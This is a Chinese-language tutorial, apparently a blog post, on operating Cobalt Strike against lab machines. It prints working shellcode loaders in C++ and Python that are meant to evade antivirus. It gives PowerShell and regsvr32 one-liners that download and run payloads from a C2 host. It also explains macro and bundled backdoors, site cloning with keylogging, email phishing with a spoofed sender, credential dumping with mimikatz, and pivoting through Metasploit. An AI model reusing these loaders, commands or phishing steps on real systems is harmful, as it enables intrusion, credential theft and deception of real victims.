admin
CobaltStrike用法
CobaltStrike
CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等强大的功能!
CobaltStrike一些主要文件功能如下:
· agscript:扩展应用的脚本
· c2lint:用于检查profile的错误和异常
· teamserver:服务器端启动程序
· cobaltstrike.jar:CobaltStrike核心程序
· cobaltstrike.auth:用于客户端和服务器端认证的文件,客户端和服务端有一个一模一样的
· cobaltstrike.store:秘钥证书存放文件
一些目录作用如下:
· data:用于保存当前TeamServer的一些数据
· download:用于存放在目标机器下载的数据
· upload:上传文件的目录
· logs:日志文件,包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等
· third-party:第三方工具目录
启动服务端
Linux
./teamserver 192.168.1.2 123456 #192.168.10.11是服务端ip地址,123456是连接密码
后台运行,关闭当前终端依然运行:nohup ./teamserver 192.168.10.11 123456
CobaltStrike默认监听50050端口,如果想修改打开teamserver文件修改端口号。
Windows
teamserver.bat 192.168.1.2 123456
启动客户端
Linux:
./cobaltstrike
javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows
start.bat
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
CobaltStrike的使用
布局
· New Connection:打开一个新连接窗口
· Preferences:偏好设置,就是设置CobaltStrike外观的
· Visualization:将主机以不同的权限展示出来(主要以输出结果的形式展示)
· VPN Interfaces:设置VPN接口
· Listeners:创建监听器
· Script Interfaces:查看和加载CNA脚本
· Close:关闭
一、监听器Listener
CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
点击左上方CobaltStrike选项——>在下拉框中选择 Listeners ——>在下方弹出区域中单机add
name:为监听器名字,可任意
payload:payload类型
HTTP Hosts: shell反弹的主机,也就是我们kali的ip
HTTP Hosts(Stager): Stager的马请求下载payload的地址
HTTP Port(C2): C2监听的端口
1.beacon dns
beacon dns通过使用dns来进行通信,传达命令,攻击机将请求信息这些通过dns域名中转发送给被攻击者,DNS host中填入所用到的dns域名,host(stager) 处也同样填入dns域名信息,port处填入端口,用于重定向
2.beacon http
通过http来进行通信,传达命令。http hosts 和 http host(stager) 都填写攻击机的ip或C2域名,http port处填写端口,bind处的端口用于绑定web服务端口,一般用于重定向,host header用于域前置技术,用于隐藏C2,proxy 用于代理设置。
3.beacon https
通过https来进行通信,传达命令,和http的区别在于https加密了信息。
4.beacon smb
beacon smb使用命名管道进行通信,将流量封装在smb协议里,smb这个一般不用于直接生成可用载荷,一般结合PsExec 或 stageless payload使用。
5.beacon tcp
通过tcp协议进行通信,可以通过cobaltstrike里的stageless payload去运行,其他的和beacon smb 差不多,但是tcp的可以直接生成载荷去运行。
6.external c2
external c2允许第三方程序充当cobaltstrike的teamserver 和beacon之间处理C2通信的接口,通常用于目标无法出网的情况,第三方程序使用外置的C2服务器和cobaltstrike服务器交互。
7.foreign reverse_http
把会话信息传递给msf,将目标权限通过http的方式传给msf。
8.foreign reverse_https
和foreign reverse_http利用方式类似,只不过通过https去传递会话信息。
二、攻击模块
1.生成后门
HTML后门
一个html应用程序类型的后门,有三种文件生成方式,分别为VBA,Powershell,Executable这三种方式
生成hta后门,方法powershell兼容好
在靶机运行,多了个powershell进程。
上线成功
宏后门
MS Office Macro生成一个宏文件,该宏文件用于嵌入Microsoft word 或 Microsoft execl文件里,生成该宏文件并提供嵌入的方法
保存为宏文档
靶机打开文档
生成一个dll进程
上线成功
payload脚本后门
使用不同的格式语言导出cobaltstrike的shellcode,主要用来免杀绕过,然后使用其他语言去加载,部分需要编译成程序或者需要专用的shellcodeluncher加载器加载才能运行。
C++加载器
C++加载器
#include <Windows.h>
#include <stdio.h>
using namespace std;
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker, "/INCREMENTAL:NO")
int main(int argc, char** argv) {
unsigned char ShellCode[] = "payload";
void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
python加载器
#!/usr/bin/python3
import ctypes
#shellcode 放这个位置
c = b"payload"
shellcode = bytearray(c)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
靶机运行powershell脚本
靶机上线
靶机执行生成的powershell命令
执行程序后门
Windows Executable
生成一个可执行的exe木马,有windows exe,windows server exe,windwos DLL 32位,windwos DLL 64位四类。
Windows ExecutableS
和Windows Executable区别在于,它是直接导出一个beacon,这个beacon是直接写好的32或64位的dll,直接和监听器连接,传输数据和命令,它还可以导出powershell脚本,还可以通过raw选项调出.bin 文件,使用和Windows Executable差不多。
靶机运行
上线成功
U盘后门
捆绑后门
通常捆绑文本文件
在靶机运行
成功上线
关闭文件后门仍在后台
2.钓鱼攻击
cobaltstrike里有多种钓鱼攻击的方式,适用于不同环境
web服务管理
用于管理cobaltstrike web服务器上的可用程序,通过文件下载去添加管理
克隆网站
通过克隆复制站点,诱使受害者访问
克隆网址:添加目标站点的URL,此处需要添加完整的url,包含http协议和端口
local url:本地站点的克隆路径
local host:本地站点主机ip
local port:本地站点端口 Attack:
此处用于添加克隆站点后执行的漏洞脚本
点击clone后,会返回生成的克隆站点地址。
访问测试站点地址,开启键盘记录后就可以在web日志中看到输入记录。
attack处可以结合Scripted Web Delivery攻击,通过Scripted Web Delivery生成的payload来在克隆站点添加payload去攻击,也可以通过在生成后门处的HTML Application生成一个后门去结合使用。
文件下载
作用是提供一个文件管理,并且我们可以修改里面的mine信息,上传的文件会发送到团队服务器里,供团队成员使用
实际使用时,可以上传后门等攻击文件,结合克隆站点里的attack使用
Scripted Web Delivery
生成一个payload(类似Windows Executable生成的),放在cobaltstrike的服务器上,并生成一个下载运行的命令语句,方式有powershel,python。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.200:80/a'))"
回车后进入后台执行。
上线成功。
regsvr32 /s /n /u /i:http://192.168.2.200:8080/reg scrobj.dll
普通用户执行
关闭后仍在后台运行。
管理员访问
签名applet攻击
启动一个web服务器来托管一个自签名的java applet,被攻击者会被提示给这个applet权限来运行,一但允许就可以获得权限
智能攻击
在一个程序里包含多种漏洞利用方式,启动一个web服务器去托管applet,可以分析环境并决定使用哪种漏洞利用方式
注:此攻击在目前新的环境中难以发挥作用
信息收集
生成钓鱼连接,用户点击后获取用户信息,然后跳转正常网站(如百度)。
点击钓鱼链接后自动跳转正常网站地址,用户无法感知。
收集到的信息。
3.邮件钓鱼
内容
targets
选择保存有发送目标的文档
tmplate
邮件模板,在邮箱里导出一个邮件文件
attachment
附件,可以通过上传恶意附件来进行攻击,典型的可以通过和MS Office Macro结合发送恶意的word文档来结合攻击
Embed URL
需要嵌入的站点地址,此处可嵌入钓鱼站点的地址
Mail server
用于配置smtp邮件服务,用于向邮件服务器进行身份验证,或将邮件服务器设置为目标的开放中继或邮件交换记录
SMTP Host和Port填入邮件服务器地址,端口
Username和password处填入用户名和密码
Random Delay处填入设置的延时发送邮件时间
Bounce to用于模仿发件人,提高钓鱼的成功率
设置完之后就可以发送进行攻击了
三、常用功能
右键菜单
Interact //打开beacon
Access
dump hashes //获取hash
Elevate //提权
Golden Ticket //生成黄金票据注入当前会话
MAke token //凭证转换
Run Mimikatz //运行 Mimikatz
Spawn As //用其他用户生成Cobalt Strike的beacon
Explore
Browser Pivot //劫持目标浏览器进程
Desktop(VNC) //桌面交互
File Browser //文件浏览器
Net View //命令Net View
Port scan //端口扫描
Process list //进程列表
Screenshot //截图
Pivoting
SOCKS Server //代理服务
Listener //反向端口转发
Deploy VPN //部署VPN
Spawn //新的通讯模式并生成会话
Session //会话管理,删除,心跳时间,退出,备注
beacon命令
Beacon Commands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
界面
红色:管理员权限
灰色:普通权限
提权
文件管理
屏幕截图
hashdump
前提是要system/administrator权限
mimikaz抓明文密码
需要system/管理员权限
查看明文密码
凭证信息
进程列表
1、kill:关闭该进程
2、Refresh:刷新进程
3、inject:把beacon注入到进程
4、log Keystokes:键盘记录
5、屏幕截图:
6、Steal Token:窃取token
注入进程
选择进程,点击Inject,选择对应的监听器,点击choose,CS就会弹回目标机的一个新的会话,这个就是注入到进程beacon。注入进程成功后可以形成一个新的会话,这样一来即使之前上传的木马被杀了,只要这个进程不断,我们还是可以连回这台机器。
注入成功
主机/端口扫描
发现两个网段。
端口扫描
键盘记录
内网探测
前面已经扫描过端口可以直接查看,没扫过可以右键扫描。
内网代理
浏览器代理
kali浏览器代理访问内网
代理到本地127.0.0.1的62493端口,协议http。
成功访问内网web服务。
物理机代理访问内网
代理地址填kali的外部地址,端口相同。
物理机成功访问内网web服务。
socks代理
设置端口
代理上线
设置proxychains本地代理
代理访问内网
cs会话转移msf
msf新建一个handler监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set lhost 192.168.2.200
lhost => 192.168.2.200
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > set payload windows/
Display all 247 possibilities? (y or n)
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.200:8888
cs新建一个listener
点击add增加一个监听器,payload类型和msf一致,模式为foreign外部模式。
会话转移
将靶机(win7 system权限)的已有会话转发给外部程序msf,右击选择增加会话。
选择刚刚创建的listener。
点击choose后cs将本地会话转发给外部msf,msf检测到会话后自动进入meterpreter。
可以发现是来自靶机(win7)的反弹shell,权限是system。
联合msf内网后渗透
会话转移后msf可以像本地会话一样进行操作,也可以开启内网路由转发及代理。
内网路由转发
meterpreter > route
IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
0.0.0.0 0.0.0.0 10.10.1.1 10 16
0.0.0.0 0.0.0.0 192.168.2.1 10 11
10.10.1.0 255.255.255.0 10.10.1.100 266 16
10.10.1.100 255.255.255.255 10.10.1.100 266 16
10.10.1.255 255.255.255.255 10.10.1.100 266 16
127.0.0.0 255.0.0.0 127.0.0.1 306 1
127.0.0.1 255.255.255.255 127.0.0.1 306 1
127.255.255.255 255.255.255.255 127.0.0.1 306 1
192.168.2.0 255.255.255.0 192.168.2.242 266 11
192.168.2.242 255.255.255.255 192.168.2.242 266 11
192.168.2.255 255.255.255.255 192.168.2.242 266 11
224.0.0.0 240.0.0.0 127.0.0.1 306 1
224.0.0.0 240.0.0.0 192.168.2.242 266 11
224.0.0.0 240.0.0.0 10.10.1.100 266 16
255.255.255.255 255.255.255.255 127.0.0.1 306 1
255.255.255.255 255.255.255.255 192.168.2.242 266 11
255.255.255.255 255.255.255.255 10.10.1.100 266 16
No IPv6 routes were found.
meterpreter > run autoroute -s 10.10.1.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.10.1.0/255.255.255.0...
[+] Added route to 10.10.1.0/255.255.255.0 via 192.168.2.242
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > route
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.10.1.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
内网扫描
msf6 auxiliary(scanner/discovery/udp_sweep) > show options
Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 10.10.1.0/24 yes The target host(s), see https://github.com/rapid7/met
asploit-framework/wiki/Using-Metasploit
THREADS 10 yes The number of concurrent threads
msf6 auxiliary(scanner/discovery/udp_sweep) > exploit
[*] Sending 13 probes to 10.10.1.0->10.10.1.255 (256 hosts)
[*] Discovered DNS on 10.10.1.1:53 (50c9858000010001000000000756455253494f4e0442494e440000100003c00c0010000300000000000d0c646e736d6173712d322e3636)
[*] Discovered NetBIOS on 10.10.1.100:137 (WIN7X64-PRO:<00>:U :SAM:<00>:G :WIN7X64-PRO:<20>:U :SAM:<1e>:G :SAM:<1d>:U :__MSBROWSE__:<01>:G :00:0c:29:8b:28:18)
[*] Discovered DNS on 10.10.1.101:53 (BIND 9.4.2)
[*] Discovered NetBIOS on 10.10.1.101:137 (METASPLOITABLE:<00>:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<20>:U :__MSBROWSE__:<01>:G :WORKGROUP:<00>:G :WORKGROUP:<1d>:U :WORKGROUP:<1e>:G :00:00:00:00:00:00)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
内网socks代理
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 127.0.0.1 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 2.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
[*] Stopping the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxy
#################proxychains配置################
# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
socks全局代理访问内网
┌──(root㉿kali)-[~/Desktop]
└─# proxychains curl 10.10.1.102/l.php
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:59434 ... 10.10.1.102:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>php中文网 探针 2014 </title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
部分内容来自:https://blog.csdn.net/hackzkaq/article/details/121377057
